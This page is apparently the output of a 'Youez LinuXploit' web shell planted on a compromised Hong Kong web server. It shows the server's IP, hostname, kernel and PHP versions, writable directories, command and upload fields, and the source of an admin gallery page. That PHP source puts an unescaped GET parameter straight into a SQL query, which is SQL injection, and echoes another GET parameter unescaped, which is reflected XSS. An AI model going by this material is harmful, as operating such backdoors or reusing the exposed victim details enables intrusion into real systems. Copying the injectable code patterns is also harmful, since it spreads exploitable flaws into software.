403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/admin//galleryindex.php
<?
//require 'db_connect.php';
require 'check_login.php';
if ($logged_in <> 1) {
	header('Location: login.php');
	return;
}
else
{
?>
<?php 
require("configure.php");
$galleryid		= $_GET['galleryid'];
$gallerytype	= $_GET['gallerytype'];
?>
<html>
<head>
<link rel="stylesheet" href="main.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Admin Page</title>
<script type="text/JavaScript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
</head>
<body>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr>
  <td class='content' align="left"><b> Gallery </b>
      <select name="gallerytype" onChange="MM_jumpMenu('self',this,0)">
	  <option value="galleryindex.php?gallerytype=0" <? if (($gallerytype=='0') || ($gallerytype=='')) echo 'selected'; ?>>All</option>
	  		<?php
	  		$sql = "SELECT * from gallery group by gallerytype order by galleryid desc ";
			$result1 = mysql_query($sql) or die(mysql_error());
			while ($row1 = mysql_fetch_array($result1,MYSQL_ASSOC))
			{
			?>
        <option value="galleryindex.php?gallerytype=<?=$row1{'gallerytype'}?>" <? if ($gallerytype==$row1{'gallerytype'}) echo 'selected'; ?> ><?=$row1{'gallerytype'}?></option>
		<? } ?>
      </select>
    </td>
  <td class='content' align="right"><a href="galleryaddform.php"><img src="images/button_insert.png" alt="Add" border="0">&nbsp;Add</a></td>
</tr>
</table>
<?
echo "<p class='content'>". $_GET['msg'] ."</p>";
?>
<table border="0" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF">
<tr><td class="contentsearch" bgcolor="#FFFFFF" width="50" align="center">Delete</td>
	<td class="contentsearch" bgcolor="#FFFFFF" width="140" align="center">File</td>
	<td class="contentsearch" bgcolor="#FFFFFF" width="200" align="center">File Name</td>
	<td class="contentsearch" bgcolor="#FFFFFF" width="50" align="center">Action</td></tr>

<?php

if (($gallerytype <> "0") && ($gallerytype <> "")) {
$sql = "SELECT * FROM gallery where gallery.gallerytype = '$gallerytype' order by galleryid desc ";
$result = mysql_query($sql);
} else {
$result = mysql_query("SELECT * FROM gallery order by gallery.galleryid desc ");
}
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
	print "<tr>";
	print "<td class='content' bgcolor=#DDDDDD valign='top' align='center'>";
	print "<a href='gallerydeleteconfirm.php?galleryid=".$row{'galleryid'}."&galleryid=".$row{'galleryid'}."' border='0'>";
	print "<img src='images/btnRemove.gif' border='0' alt='Remove'></a></td>";
			if ($row{'gallerytype'} == "Photo")
			{					
				if ($row{'galleryfile'} <> '')
				{
				print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'><img src='galleryphoto/".$row{'galleryfile'}."' border='0' width='100' ></td>";
				} 
			}
			else if ($row{'gallerytype'} == "Video")
			{
				if ($row{'galleryfile'} <> '')
				{
				print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'><a href='galleryvideo/".$row{'galleryfile'}."'>".$row{'galleryfile'}."</td>";
				 }
			}
			else if ($row{'gallerytype'} == "Painting")
			{
				if ($row{'galleryfile'} <> '')
				{
				print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'><img src='gallerypainting/".$row{'galleryfile'}."' border='0' width='100' ></td>";
				} 
			}
	print "<td class='content' bgcolor=#DDDDDD valign='top' style='padding-left:5'>".$row{'galleryfilename'}."</td>";
	print "<td class='content' bgcolor=#DDDDDD valign='top' align='center'>";
	print "<a href='gallerymodifyform.php?galleryid=".$row{'galleryid'}."&galleryid=".$row{'galleryid'}."'>";
	print "<img src='images/button_properties.png' border='0' alt='Modify'></a>";
	print "</td></tr>";
}
mysql_close($dbh);
?>
</table>
</body>
</html>
<?
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit